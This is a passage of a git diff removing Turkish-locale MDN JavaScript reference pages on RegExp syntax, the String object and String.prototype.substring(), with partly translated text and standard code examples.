<code>/ye\B/</code> matches "ye" in "possibly yesterday".</p> - </td> - </tr> - </tbody> - <tbody> - <tr id="grouping-back-references"> - <th colspan="2">Gruplama ve Referansa Geri Dönme</th> - </tr> - <tr> - <th>Karakter</th> - <th>Anlamı</th> - </tr> - <tr> - <td><code>(<em>x</em>)</code></td> - <td> - <p>Matches <code><em>x</em></code> and remembers the match. These are called capturing groups.</p> - - <p>For example, <code>/(foo)/</code> matches and remembers "foo" in "foo bar". </p> - - <p>The capturing groups are numbered according to the order of left parentheses of capturing groups, starting from 1. The matched substring can be recalled from the resulting array's elements <code>[1], ..., [n]</code> or from the predefined <code>RegExp</code> object's properties <code>$1, ..., $9</code>.</p> - - <p>Capturing groups have a performance penalty. If you don't need the matched substring to be recalled, prefer non-capturing parentheses (see below).</p> - </td> - </tr> - <tr> - <td><code>\<em>n</em></code></td> - <td> - <p>Where <code><em>n</em></code> is a positive integer. A back reference to the last substring matching the n parenthetical in the regular expression (counting left parentheses).</p> - - <p>For example, <code>/apple(,)\sorange\1/</code> matches "apple, orange," in "apple, orange, cherry, peach". A more complete example follows this table.</p> - </td> - </tr> - <tr> - <td><code>(?:<em>x</em>)</code></td> - <td>Matches <code><em>x</em></code> but does not remember the match. These are called non-capturing groups. The matched substring can not be recalled from the resulting array's elements <code>[1], ..., [n]</code> or from the predefined <code>RegExp</code> object's properties <code>$1, ..., $9</code>.</td> - </tr> - </tbody> - <tbody> - <tr id="quantifiers"> - <th colspan="2">Niceleyiciler</th> - </tr> - <tr> - <th>Karakter</th> - <th>Anlamı</th> - </tr> - <tr> - <td><code><em>x</em>*</code></td> - <td> - <p>Matches the preceding item <em>x</em> 0 or more times.</p> - - <p>For example, <code>/bo*/</code> matches "boooo" in "A ghost booooed" and "b" in "A bird warbled", but nothing in "A goat grunted".</p> - </td> - </tr> - <tr> - <td><code><em>x</em>+</code></td> - <td> - <p>Matches the preceding item <em>x</em> 1 or more times. Equivalent to <code>{1,}</code>.</p> - - <p>For example, <code>/a+/</code> matches the "a" in "candy" and all the "a"'s in "caaaaaaandy".</p> - </td> - </tr> - <tr> - <td><code><em>x</em>?</code></td> - <td> - <p>Matches the preceding item <em>x</em> 0 or 1 time.</p> - - <p>For example, <code>/e?le?/</code> matches the "el" in "angel" and the "le" in "angle."</p> - - <p>If used immediately after any of the quantifiers <code>*</code>, <code>+</code>, <code>?</code>, or <code>{}</code>, makes the quantifier non-greedy (matching the minimum number of times), as opposed to the default, which is greedy (matching the maximum number of times).</p> - </td> - </tr> - <tr> - <td><code><em>x</em>{<em>n</em>}</code></td> - <td> - <p>Where <code><em>n</em></code> is a positive integer. Matches exactly <code><em>n</em></code> occurrences of the preceding item <em>x</em>.</p> - - <p>For example, <code>/a{2}/</code> doesn't match the "a" in "candy", but it matches all of the "a"'s in "caandy", and the first two "a"'s in "caaandy".</p> - </td> - </tr> - <tr> - <td><code><em>x</em>{<em>n</em>,}</code></td> - <td> - <p>Where <code><em>n</em></code> is a positive integer. Matches at least <code><em>n</em></code> occurrences of the preceding item <em>x</em>.</p> - - <p>For example, <code>/a{2,}/</code> doesn't match the "a" in "candy", but matches all of the a's in "caandy" and in "caaaaaaandy".</p> - </td> - </tr> - <tr> - <td><code><em>x</em>{<em>n</em>,<em>m</em>}</code></td> - <td> - <p>Where <code><em>n</em></code> and <code><em>m</em></code> are positive integers. Matches at least <code><em>n</em></code> and at most <code><em>m</em></code> occurrences of the preceding item <em>x</em>.</p> - - <p>For example, <code>/a{1,3}/</code> matches nothing in "cndy", the "a" in "candy", the two "a"'s in "caandy", and the first three "a"'s in "caaaaaaandy". Notice that when matching "caaaaaaandy", the match is "aaa", even though the original string had more "a"'s in it.</p> - </td> - </tr> - <tr> - <td> - <p><code><em>x</em>*?</code><br> - <code><em>x</em>+?</code><br> - <code><em>x</em>??</code><br> - <code><em>x</em>{n}?</code><br> - <code><em>x</em>{n,}?</code><br> - <code><em>x</em>{n,m}?</code></p> - </td> - <td> - <p>Matches the preceding item <em>x</em> like <code>*</code>, <code>+</code>, <code>?</code>, and <code>{...}</code> from above, however the match is the smallest possible match.</p> - - <p>For example, <code>/<.*?>/</code> matches "<foo>" in "<foo> <bar>", whereas <code>/<.*>/</code> matches "<foo> <bar>".</p> - - <p>Quantifiers without <code>?</code> are said to be greedy. Those with <code>?</code> are called "non-greedy".</p> - </td> - </tr> - </tbody> - <tbody> - <tr id="assertions"> - <th colspan="2">Onaylamalar</th> - </tr> - <tr> - <th>Karakter</th> - <th>Anlamı</th> - </tr> - <tr> - <td><code><em>x</em>(?=<em>y</em>)</code></td> - <td> - <p>Matches <code><em>x</em></code> only if <code><em>x</em></code> is followed by <code><em>y</em></code>.</p> - - <p>For example, /<code>Jack(?=Sprat)/</code> matches "Jack" only if it is followed by "Sprat".<br> - <code>/Jack(?=Sprat|Frost)/</code> matches "Jack" only if it is followed by "Sprat" or "Frost". However, neither "Sprat" nor "Frost" is part of the match results.</p> - </td> - </tr> - <tr> - <td><code><em>x</em>(?!<em>y</em>)</code></td> - <td> - <p>Matches <code><em>x</em></code> only if <code><em>x</em></code> is not followed by <code><em>y</em></code>.</p> - - <p>For example, <code>/\d+(?!\.)/</code> matches a number only if it is not followed by a decimal point.<br> - <code>/\d+(?!\.)/.exec('3.141')</code> matches "141" but not "3.141".</p> - </td> - </tr> - </tbody> -</table> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt>{{jsxref("RegExp.prototype")}}</dt> - <dd>Allows the addition of properties to all objects.</dd> - <dt><code>RegExp.length</code></dt> - <dd>The value of <code>RegExp.length</code> is 2.</dd> - <dt>{{jsxref("RegExp.@@species", "get RegExp[@@species]")}}</dt> - <dd>The constructor function that is used to create derived objects.</dd> - <dt>{{jsxref("RegExp.lastIndex")}}</dt> - <dd>The index at which to start the next match.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p>The global <code>RegExp</code> object has no methods of its own, however, it does inherit some methods through the prototype chain.</p> - -<h2 id="RegExp_prototype_objects_and_instances"><code>RegExp</code> prototype objects and instances</h2> - -<h3 id="Properties_2">Properties</h3> - -<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype', 'Properties')}}</div> - -<h3 id="Methods_2">Methods</h3> - -<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype', 'Methods')}}</div> - -<h2 id="Examples">Examples</h2> - -<h3 id="Using_a_regular_expression_to_change_data_format">Using a regular expression to change data format</h3> - -<p>The following script uses the {{jsxref("String.prototype.replace()", "replace()")}} method of the {{jsxref("Global_Objects/String", "String")}} instance to match a name in the format <em>first last</em> and output it in the format <em>last, first</em>. In the replacement text, the script uses <code>$1</code> and <code>$2</code> to indicate the results of the corresponding matching parentheses in the regular expression pattern.</p> - -<pre class="brush: js">var re = /(\w+)\s(\w+)/; -var str = 'John Smith'; -var newstr = str.replace(re, '$2, $1'); -console.log(newstr); -</pre> - -<p>This displays "Smith, John".</p> - -<h3 id="Using_regular_expression_to_split_lines_with_different_line_endingsends_of_lineline_breaks">Using regular expression to split lines with different <strong>line endings/ends of line/line breaks</strong></h3> - -<p>The default line ending varies depending on the platform (Unix, Windows, etc.). The line splitting provided in this example works on all platforms.</p> - -<pre class="brush: js">var text = 'Some text\nAnd some more\r\nAnd yet\rThis is the end'; -var lines = text.split(/\r\n|\r|\n/); -console.log(lines); // logs [ 'Some text', 'And some more', 'And yet', 'This is the end' ] -</pre> - -<p>Note that the order of the patterns in the regular expression matters.</p> - -<h3 id="Using_regular_expression_on_multiple_lines">Using regular expression on multiple lines</h3> - -<pre class="brush: js">var s = 'Please yes\nmake my day!'; -s.match(/yes.*day/); -// Returns null -s.match(/yes[^]*day/); -// Returns ["yes\nmake my day"] -</pre> - -<h3 id="Using_a_regular_expression_with_the_sticky_flag">Using a regular expression with the sticky flag</h3> - -<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/sticky">sticky flag</a> indicates that the regular expression performs sticky matching in the target string by attempting to match starting at {{jsxref("RegExp.prototype.lastIndex")}}.</p> - -<pre class="brush: js">var str = '#foo#'; -var regex = /foo/y; - -regex.lastIndex = 1; -regex.test(str); // true -regex.lastIndex = 5; -regex.test(str); // false (lastIndex is taken into account with sticky flag) -regex.lastIndex; // 0 (reset after match failure)</pre> - -<h3 id="Regular_expression_and_Unicode_characters">Regular expression and Unicode characters</h3> - -<p>As mentioned above, <code>\w</code> or <code>\W</code> only matches ASCII based characters; for example, "a" to "z", "A" to "Z", "0" to "9" and "_". To match characters from other languages such as Cyrillic or Hebrew, use <code>\uhhhh</code>, where "hhhh" is the character's Unicode value in hexadecimal. This example demonstrates how one can separate out Unicode characters from a word.</p> - -<pre class="brush: js">var text = 'Образец text на русском языке'; -var regex = /[\u0400-\u04FF]+/g; - -var match = regex.exec(text); -console.log(match[0]); // logs 'Образец' -console.log(regex.lastIndex); // logs '7' - -var match2 = regex.exec(text); -console.log(match2[0]); // logs 'на' [did not log 'text'] -console.log(regex.lastIndex); // logs '15' - -// and so on -</pre> - -<p>Here's an external resource for getting the complete Unicode block range for different scripts: <a href="http://kourge.net/projects/regexp-unicode-block">Regexp-unicode-block</a>.</p> - -<h3 id="Extracting_sub-domain_name_from_URL">Extracting sub-domain name from URL</h3> - -<pre class="brush: js">var url = 'http://xxx.domain.com'; -console.log(/[^.]+/.exec(url)[0].substr(7)); // logs 'xxx' -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES3')}}</td> - <td>{{Spec2('ES3')}}</td> - <td>Initial definition. Implemented in JavaScript 1.1.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.10', 'RegExp')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-regexp-regular-expression-objects', 'RegExp')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>The <code>RegExp</code> constructor no longer throws when the first argument is a <code>RegExp</code> and the second argument is present. Introduces Unicode and sticky flags.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-regexp-regular-expression-objects', 'RegExp')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("javascript.builtins.RegExp")}}</p> -</div> - -<h3 id="Firefox-specific_notes">Firefox-specific notes</h3> - -<p>Starting with Firefox 34, in the case of a capturing group with quantifiers preventing its exercise, the matched text for a capturing group is now <code>undefined</code> instead of an empty string:</p> - -<pre class="brush: js">// Firefox 33 or older -'x'.replace(/x(.)?/g, function(m, group) { - console.log("'group:" + group + "'"); -}); // 'group:' - -// Firefox 34 or newer -'x'.replace(/x(.)?/g, function(m, group) { - console.log("'group:" + group + "'"); -}); // 'group:undefined' -</pre> - -<p>Note that due to web compatibility, <code>RegExp.$N</code> will still return an empty string instead of <code>undefined</code> ({{bug(1053944)}}).</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions</a> chapter in the <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a></li> - <li>{{jsxref("String.prototype.match()")}}</li> - <li>{{jsxref("String.prototype.replace()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/string/index.html b/files/tr/web/javascript/reference/global_objects/string/index.html deleted file mode 100644 index bbf4377f32..0000000000 --- a/files/tr/web/javascript/reference/global_objects/string/index.html +++ /dev/null @@ -1,316 +0,0 @@ ---- -title: String -slug: Web/JavaScript/Reference/Global_Objects/String -tags: - - ECMAScript 2015 - - JavaScript - - NeedsTranslation - - Reference - - String - - TopicStub -translation_of: Web/JavaScript/Reference/Global_Objects/String ---- -<div>{{JSRef}}</div> - -<p>Genel bir nesne olan <strong><code>String</code></strong>, dizgi veya karakter dizilerinin yapıcısıdır.</p> - -<p> </p> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<p>String literals take the forms:</p> - -<pre class="syntaxbox">'string text' -"string text" -"中文 español deutsch Türkçe हिन्दी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 தமிழ் עברית"</pre> - -<p>Strings can also be created using the <code>String</code> global object directly:</p> - -<pre class="syntaxbox">String(thing)</pre> - -<h3 id="Parameters">Parameters</h3> - -<dl> - <dt><code>thing</code></dt> - <dd>Anything to be converted to a string.</dd> -</dl> - -<h3 id="Template_literals">Template literals</h3> - -<p>Starting with ECMAScript 2015, string literals can also be so-called <a href="/en-US/docs/Web/JavaScript/Reference/Template_literals">Template literals</a>:</p> - -<pre class="syntaxbox">`hello world` -`hello! - world!` -`hello ${who}` -escape `<a>${who}</a>`</pre> - -<dl> -</dl> - -<h3 id="Escape_notation">Escape notation</h3> - -<p>Beside regular, printable characters, special characters can be encoded using escape notation:</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Code</th> - <th scope="col">Output</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>\0</code></td> - <td>the NULL character</td> - </tr> - <tr> - <td><code>\'</code></td> - <td>single quote</td> - </tr> - <tr> - <td><code>\"</code></td> - <td>double quote</td> - </tr> - <tr> - <td><code>\\</code></td> - <td>backslash</td> - </tr> - <tr> - <td><code>\n</code></td> - <td>new line</td> - </tr> - <tr> - <td><code>\r</code></td> - <td>carriage return</td> - </tr> - <tr> - <td><code>\v</code></td> - <td>vertical tab</td> - </tr> - <tr> - <td><code>\t</code></td> - <td>tab</td> - </tr> - <tr> - <td><code>\b</code></td> - <td>backspace</td> - </tr> - <tr> - <td><code>\f</code></td> - <td>form feed</td> - </tr> - <tr> - <td><code>\uXXXX</code></td> - <td>unicode codepoint</td> - </tr> - <tr> - <td><code>\u{X}</code> ... <code>\u{XXXXXX}</code></td> - <td>unicode codepoint {{experimental_inline}}</td> - </tr> - <tr> - <td><code>\xXX</code></td> - <td>the Latin-1 character</td> - </tr> - </tbody> -</table> - -<div class="note"> -<p>Unlike some other languages, JavaScript makes no distinction between single-quoted strings and double-quoted strings; therefore, the escape sequences above work in strings created with either single or double quotes.</p> -</div> - -<dl> -</dl> - -<h3 id="Long_literal_strings">Long literal strings</h3> - -<p>Sometimes, your code will include strings which are very long. Rather than having lines that go on endlessly, or wrap at the whim of your editor, you may wish to specifically break the string into multiple lines in the source code without affecting the actual string contents. There are two ways you can do this.</p> - -<p>You can use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition_()">+</a> operator to append multiple strings together, like this:</p> - -<pre class="brush: js">let longString = "This is a very long string which needs " + - "to wrap across multiple lines because " + - "otherwise my code is unreadable."; -</pre> - -<p>Or you can use the backslash character ("\") at the end of each line to indicate that the string will continue on the next line. Make sure there is no space or any other character after the backslash (except for a line break), or as an indent; otherwise it will not work. That form looks like this:</p> - -<pre class="brush: js">let longString = "This is a very long string which needs \ -to wrap across multiple lines because \ -otherwise my code is unreadable."; -</pre> - -<p>Both of these result in identical strings being created.</p> - -<h2 id="Description">Description</h2> - -<p>Strings are useful for holding data that can be represented in text form. Some of the most-used operations on strings are to check their {{jsxref("String.length", "length")}}, to build and concatenate them using the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/String_Operators">+ and += string operators</a>, checking for the existence or location of substrings with the {{jsxref("String.prototype.indexOf()", "indexOf()")}} method, or extracting substrings with the {{jsxref("String.prototype.substring()", "substring()")}} method.</p> - -<h3 id="Character_access">Character access</h3> - -<p>There are two ways to access an individual character in a string. The first is the {{jsxref("String.prototype.charAt()", "charAt()")}} method:</p> - -<pre class="brush: js">return 'cat'.charAt(1); // returns "a" -</pre> - -<p>The other way (introduced in ECMAScript 5) is to treat the string as an array-like object, where individual characters correspond to a numerical index:</p> - -<pre class="brush: js">return 'cat'[1]; // returns "a" -</pre> - -<p>For character access using bracket notation, attempting to delete or assign a value to these properties will not succeed. The properties involved are neither writable nor configurable. (See {{jsxref("Object.defineProperty()")}} for more information.)</p> - -<h3 id="Comparing_strings">Comparing strings</h3> - -<p>C developers have the <code>strcmp()</code> function for comparing strings. In JavaScript, you just use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">less-than and greater-than operators</a>:</p> - -<pre class="brush: js">var a = 'a'; -var b = 'b'; -if (a < b) { // true - console.log(a + ' is less than ' + b); -} else if (a > b) { - console.log(a + ' is greater than ' + b); -} else { - console.log(a + ' and ' + b + ' are equal.'); -} -</pre> - -<p>A similar result can be achieved using the {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} method inherited by <code>String</code> instances.</p> - -<h3 id="Distinction_between_string_primitives_and_String_objects">Distinction between string primitives and <code>String</code> objects</h3> - -<p>Note that JavaScript distinguishes between <code>String</code> objects and primitive string values. (The same is true of {{jsxref("Boolean")}} and {{jsxref("Global_Objects/Number", "Numbers")}}.)</p> - -<p>String literals (denoted by double or single quotes) and strings returned from <code>String</code> calls in a non-constructor context (i.e., without using the {{jsxref("Operators/new", "new")}} keyword) are primitive strings. JavaScript automatically converts primitives to <code>String</code> objects, so that it's possible to use <code>String</code> object methods for primitive strings. In contexts where a method is to be invoked on a primitive string or a property lookup occurs, JavaScript will automatically wrap the string primitive and call the method or perform the property lookup.</p> - -<pre class="brush: js">var s_prim = 'foo'; -var s_obj = new String(s_prim); - -console.log(typeof s_prim); // Logs "string" -console.log(typeof s_obj); // Logs "object" -</pre> - -<p>String primitives and <code>String</code> objects also give different results when using {{jsxref("Global_Objects/eval", "eval()")}}. Primitives passed to <code>eval</code> are treated as source code; <code>String</code> objects are treated as all other objects are, by returning the object. For example:</p> - -<pre class="brush: js">var s1 = '2 + 2'; // creates a string primitive -var s2 = new String('2 + 2'); // creates a String object -console.log(eval(s1)); // returns the number 4 -console.log(eval(s2)); // returns the string "2 + 2" -</pre> - -<p>For these reasons, code may break when it encounters <code>String</code> objects when it expects a primitive string instead, although generally authors need not worry about the distinction.</p> - -<p>A <code>String</code> object can always be converted to its primitive counterpart with the {{jsxref("String.prototype.valueOf()", "valueOf()")}} method.</p> - -<pre class="brush: js">console.log(eval(s2.valueOf())); // returns the number 4 -</pre> - -<div class="note"><strong>Note:</strong> For another possible approach to strings in JavaScript, please read the article about <a href="/en-US/Add-ons/Code_snippets/StringView"><code>StringView</code> — a C-like representation of strings based on typed arrays</a>.</div> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt>{{jsxref("String.prototype")}}</dt> - <dd>Allows the addition of properties to a <code>String</code> object.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<dl> - <dt>{{jsxref("String.fromCharCode()")}}</dt> - <dd>Returns a string created by using the specified sequence of Unicode values.</dd> - <dt>{{jsxref("String.fromCodePoint()")}} {{experimental_inline}}</dt> - <dd>Returns a string created by using the specified sequence of code points.</dd> - <dt>{{jsxref("String.raw()")}} {{experimental_inline}}</dt> - <dd>Returns a string created from a raw template string.</dd> -</dl> - -<h2 id="String_generic_methods"><code>String</code> generic methods</h2> - -<div class="warning"> -<p><strong>String generics are non-standard, deprecated and will get removed near future</strong>.</p> -</div> - -<p>The <code>String</code> instance methods are also available in Firefox as of JavaScript 1.6 (<strong>not</strong> part of the ECMAScript standard) on the <code>String</code> object for applying <code>String</code> methods to any object:</p> - -<pre class="brush: js">var num = 15; -console.log(String.replace(num, /5/, '2')); -</pre> - -<p>For migrating away from String generics, see also <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Deprecated_string_generics">Warning: String.x is deprecated; use String.prototype.x instead</a>.</p> - -<p>{{jsxref("Global_Objects/Array", "Generics", "#Array_generic_methods", 1)}} are also available on {{jsxref("Array")}} methods.</p> - -<h2 id="String_instances"><code>String</code> instances</h2> - -<h3 id="Properties_2">Properties</h3> - -<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'Properties')}}</div> - -<h3 id="Methods_2">Methods</h3> - -<h4 id="Methods_unrelated_to_HTML">Methods unrelated to HTML</h4> - -<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'Methods_unrelated_to_HTML')}}</div> - -<h4 id="HTML_wrapper_methods">HTML wrapper methods</h4> - -<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'HTML_wrapper_methods')}}</div> - -<h2 id="Examples">Examples</h2> - -<h3 id="String_conversion">String conversion</h3> - -<p>It's possible to use <code>String</code> as a "safer" {{jsxref("String.prototype.toString()", "toString()")}} alternative, although it still normally calls the underlying <code>toString()</code>. It also works for {{jsxref("null")}}, {{jsxref("undefined")}}, and for {{jsxref("Symbol", "symbols")}}. For example:</p> - -<pre class="brush: js">var outputStrings = []; -for (var i = 0, n = inputValues.length; i < n; ++i) { - outputStrings.push(String(inputValues[i])); -} -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.5', 'String')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-string-objects', 'String')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-string-objects', 'String')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("javascript.builtins.String.String")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{domxref("DOMString")}}</li> - <li><a href="/en-US/Add-ons/Code_snippets/StringView"><code>StringView</code> — a C-like representation of strings based on typed arrays</a></li> - <li><a href="/en-US/docs/Web/API/DOMString/Binary">Binary strings</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/string/substring/index.html b/files/tr/web/javascript/reference/global_objects/string/substring/index.html deleted file mode 100644 index d3a177406c..0000000000 --- a/files/tr/web/javascript/reference/global_objects/string/substring/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: String.prototype.substring() -slug: Web/JavaScript/Reference/Global_Objects/String/substring -translation_of: Web/JavaScript/Reference/Global_Objects/String/substring ---- -<div>{{JSRef}}</div> - -<p>The <strong><code>substring()</code></strong> method returns a subset of a <code>string</code> between one index and another, or through the end of the string.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><code><var>str</var>.substring(<var>indexStart</var>[, <var>indexEnd</var>])</code></pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code><var>indexStart</var></code></dt> - <dd>An integer between <code>0</code> and the length of the string, specifying the offset into the string of the first character to include in the returned substring.</dd> - <dt><code>indexEnd</code></dt> - <dd>Optional. An integer between <code>0</code> and the length of the string, which specifies the offset into the string of the first character <strong>not</strong> to include in the returned substring.</dd> -</dl> - -<h3 id="Dönen_değer">Dönen değer</h3> - -<p>A new string containing the extracted section of the given string.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p><code>substring()</code> extracts characters from <code>indexStart</code> up to <em>but not including</em> <code>indexEnd</code>. In particular:</p> - -<ul> - <li>If <code><var>indexStart </var></code>equals <code><var>indexEnd</var></code>, <code>substring()</code> returns an empty string.</li> - <li>If <code>indexEnd</code> is omitted, <code>substring()</code> extracts characters to the end of the string.</li> - <li>If either argument is less than 0 or is {{jsxref("NaN")}}, it is treated as if it were 0.</li> - <li>If either argument is greater than <code>stringName.length</code>, it is treated as if it were <code>stringName.length</code>.</li> -</ul> - -<p>If <code>indexStart</code> is greater than <code>indexEnd</code>, then the effect of <code>substring()</code> is as if the two arguments were swapped; for example, <code><em>str</em>.substring(1, 0) == <em>str</em>.substring(0, 1)</code>.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Using_substring()">Using <code>substring()</code></h3> - -<p>The following example uses <code>substring()</code> to display characters from the string <code>'Mozilla'</code>:</p> - -<pre class="brush: js">var anyString = 'Mozilla'; - -// Displays 'Moz' -console.log(anyString.substring(0, 3)); -console.log(anyString.substring(3, 0)); - -// Displays 'lla' -console.log(anyString.substring(4, 7)); -console.log(anyString.substring(4)); -console.log(anyString.substring(7, 4)); - -// Displays 'Mozill' -console.log(anyString.substring(0, 6)); - -// Displays 'Mozilla' -console.log(anyString.substring(0, 7)); -console.log(anyString.substring(0, 10)); -</pre> - -<h3 id="Using_substring()_with_length_property">Using <code>substring()</code> with <code>length</code> property</h3> - -<p>The following example uses the <code>substring()</code> method and {{jsxref("String.length", "length")}} property to extract the last characters of a particular string. This method may be easier to remember, given that you don't need to know the starting and ending indices as you would in the above examples.</p> - -<pre class="brush: js">// Displays 'illa' the last 4 characters -var anyString = 'Mozilla'; -var anyString4 = anyString.substring(anyString.length - 4); -console.log(anyString4); - -// Displays 'zilla' the last 5 characters -var anyString = 'Mozilla'; -var anyString5 = anyString.substring(anyString.length - 5); -console.log(anyString5); -</pre> - -<h3 id="Replacing_a_substring_within_a_string">Replacing a substring within a string</h3> - -<p>The following example replaces a substring within a string. It will replace both individual characters and substrings. The function call at the end of the example changes the string <code>'Brave New World'</code> into <code>'Brave New Web'</code>.</p> - -<pre class="brush: js">// Replaces oldS with newS in the string fullS -function replaceString(oldS, newS, fullS) { - for (var i = 0; i < fullS.length; ++i) { - if (fullS.substring(i, i + oldS.length) == oldS) { - fullS = fullS.substring(0, i) + newS + fullS.substring(i + oldS.length, fullS.length); - } - } - return fullS; -} - -replaceString('World', 'Web', 'Brave New World'); -</pre> - -<p>Note that this can result in an infinite loop if <code>oldS</code> is itself a substring of <code>newS</code> — for example, if you attempted to replace 'World' with 'OtherWorld' here. A better method for replacing strings is as follows:</p> - -<pre class="brush: js">function replaceString(oldS, newS, fullS) { - return fullS.split(oldS).join(newS); -} -</pre> - -<p>The code above serves as an example for substring operations. If you need to replace substrings, most of the time you will want to use {{jsxref("String.prototype.replace()")}}.</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Implemented in JavaScript 1.0.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.5.4.15', 'String.prototype.substring')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-string.prototype.substring', 'String.prototype.substring')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-string.prototype.substring', 'String.prototype.substring')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("javascript.builtins.String.substring")}}</p> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>{{jsxref("String.prototype.substr()")}}</li> - <li>{{jsxref("String.prototype.slice()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/index.html b/files/tr/web/javascript/reference/index.html deleted file mode 100644 index b54be98c56..0000000000 --- a/files/tr/web/javascript/reference/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: JavaScript Referansı -slug: Web/JavaScript/Reference -tags: - - JavaScript -translation_of: Web/JavaScript/Reference ---- -<div>{{JsSidebar}}</div> - -<p>This part of the JavaScript section on MDN serves as a repository of facts about the JavaScript language. Read more <a href="/en-US/docs/Web/JavaScript/Reference/About">about this reference</a>.</p> - -<h2 id="Global_Objects">Global Objects</h2> - -<p>This chapter documents all the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">JavaScript standard built-in objects</a>, along with their methods and properties.</p> - -<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects', 'Standard objects (by category)')}}</div> - -<h2 id="Statements">Statements</h2> - -<p>This chapter documents all the <a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript statements and declarations</a>.</p> - -<div>{{page('/en-US/docs/Web/JavaScript/Reference/Statements', 'Statements_and_declarations_by_category')}}</div> - -<h2 id="Expressions_and_operators">Expressions and operators</h2> - -<p>This chapter documents all the <a href="/en-US/docs/Web/JavaScript/Reference/Operators">JavaScript expressions and operators</a>.</p> - -<div>{{page('/en-US/docs/Web/JavaScript/Reference/Operators', 'Expressions_and_operators_by_category')}}</div> - -<h2 id="Functions">Functions</h2> - -<p>This chapter documents how to work with <a href="/en-US/docs/Web/JavaScript/Reference/Functions">JavaScript functions</a> to develop your applications.</p> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code></a></li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">Default parameters</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest parameters</a></li> 